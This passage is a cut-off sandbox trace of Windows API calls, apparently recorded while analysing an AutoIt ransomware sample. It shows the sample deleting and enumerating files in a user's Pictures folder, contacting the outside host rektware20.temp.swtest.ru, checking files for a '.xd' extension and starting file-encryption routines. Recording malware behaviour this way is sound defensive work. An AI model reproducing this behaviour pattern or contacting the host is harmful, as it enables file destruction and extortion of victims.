hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.943] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.943] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", lpFilePart=0x0) returned 0x3c [0061.943] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\3ifokmg.png")) returned 0x20 [0061.943] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c870 [0061.944] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\3ifokmg.png")) returned 1 [0061.945] FindNextFileW (in: hFindFile=0x164c870, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.945] FindClose (in: hFindFile=0x164c870 | out: hFindFile=0x164c870) returned 1 [0061.946] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.946] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.946] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.946] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.946] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.946] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.946] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.946] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.946] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.946] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.946] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.946] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c) returned 1 [0061.946] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.946] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.946] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.948] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.948] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.948] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.948] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.948] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.948] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.948] CloseHandle (hObject=0x0) returned 0 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.949] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vKxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KxqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xqSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qSGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SGgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gaoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aoDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oDjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jGIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GIW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.950] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="85UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UAXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AXDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XDDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DDW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DW.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.951] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.951] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.951] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.951] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.951] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.951] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.951] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.952] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.952] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.952] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c) returned 1 [0061.952] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.952] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.952] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.952] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.953] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.953] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.953] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.953] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629420, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629420*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.953] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.953] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.953] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.953] CloseHandle (hObject=0x0) returned 0 [0061.953] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.953] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.954] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.954] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.954] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.954] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.954] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.954] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.954] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.954] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.954] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.955] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.955] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.955] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.955] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.955] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.955] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.955] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.955] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.955] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.955] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.956] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.956] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaab0) returned 1 [0061.956] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.956] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.956] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.957] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.957] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.957] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 